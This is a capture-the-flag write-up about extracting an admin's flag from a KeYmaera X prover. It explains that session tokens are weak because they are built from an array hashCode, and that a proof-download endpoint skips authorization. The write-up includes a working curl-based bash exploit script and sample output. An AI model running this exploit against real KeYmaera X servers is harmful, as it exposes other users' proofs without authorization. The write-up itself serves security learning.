We have probable intel that our target tried to prove their flag?! As you can see in the leaked sources, the admin user placed a flag into a model. It is vital that you get access to their account and recover the flag. We are also very excited to tell you that our agents are certain that you don’t have to touch anything related to the prover itself, just recover the flag and get out of this hell as quickly as possible!

Category: Crypto

Solver: hack_the_kitty, SchizophrenicFish2nds

Flag: GPNCTF{I_h0P3_yoU_CoMPiL3D_Y0Ur_0wn_jdk!}

Writeup

In this challenge, the flag was uploaded as a proof to a web prover system, called KeYmaera X (that was developed in part by the KIT!). The challenge essentially added a Rust proxy with an additional API endpoint. After receiving a POST request to <DOMAIN>/place_flag, the Rust proxy uploads a model for the prover to the system as the admin user. The challenge is to get the admin’s flag.

Intended Approach

The authentication in KeYmaera X is session based. On input of username and password, one receives the session token that can be passed to the server in subsequent requests.

The backend determines the user and permissions based on the session token. The intended solution was to recover the admin’s session token.

However, we immediately noticed an issue with the session token: It always has the form [B@XXXXXXXX, where X is a hexadecimal character. Just below you can see the session generation code (from here). The interesting part is bytes.toString, which does not cast the byte value to a string, and instead returns the array’s hashCode as a string. So the real challenge was reversing and attacking the code behind the hashCode generation in the Java virtual machine.

  private def generateToken(): String = {
    val random: SecureRandom = new SecureRandom()
    val bytes = Array[Byte](20)
    random.nextBytes(bytes)
    val candidate = bytes.toString
    if (sessionMap.contains(candidate)) generateToken() else candidate
  }
}

Our (Unintended) Solution

Instead of reverse engineering the object identity / hash code generation in the Hotspot Java VM and reconstructing the PRNG state with help of the source code, we followed a different approach. The KeYmaera X source code seemed pretty sus ඞ, including usernames and passwords in URLs, we decided on checking the KeYmaera X source code in greater detail.

By carefully studying the source code and all routes the KeyYmaera API provides, we have found an endpoint that sounded pretty interesting:

  val downloadModelProofs: SessionToken => Route = (t: SessionToken) =>
    path("models" / "user" / Segment / "model" / Segment / "downloadProofs") { (userId, modelId) =>
      {
        pathEnd {
          get {
            val request = new ExtractModelSolutionsRequest(
              database,
              userId,
              Integer.parseInt(modelId) :: Nil,
              withProofs = true,
              exportEmptyProof = true,
            )
            completeRequest(request, t)
          }
        }
      }
    }

There are two parameters, aside from the session token: userId, modelId. Here, the userId can be any logged-in user, so we need to register a new user to use this. Next is the modelId, which is apparently a global counter. Using this endpoint, we can obtain any proof, as the requested model is not filtered depending on the requesting user (Hah! Ye olde authentication bypass \o/). So by running place_flag first, and registering a new user, we can always extract the flag at the modelId = 1 using downloadProofs!

Solve script

#!/bin/bash

set -e

echo -n "Enter domain (https:/...): "
read DOMAIN

TOKEN=$(curl -s -L "${DOMAIN}/user/username/password/mode/0" -X POST -H 'Content-Length: 0' | jq -r ".sessionToken")
echo "Got token ${TOKEN}"
curl -s -L -X POST "$DOMAIN/place_flag"
echo "Placed flag"
TEXT=$(curl -s -L "$DOMAIN/models/user/username/model/1/downloadProofs" -H "x-session-token: $TOKEN" | jq -r ".fileContents")
echo "Flag Theorem Content:"
echo -ne "${TEXT}"

Sample output:

Enter domain (https:/...): http://localhost:8090
Got token [B@77b9f3f4
Flag Theorem Content:
/* Exported from KeYmaera X v5.1.1 */

Theorem "FLAG"

       Problem
       1 = 1 /* real_flag
*/
       End.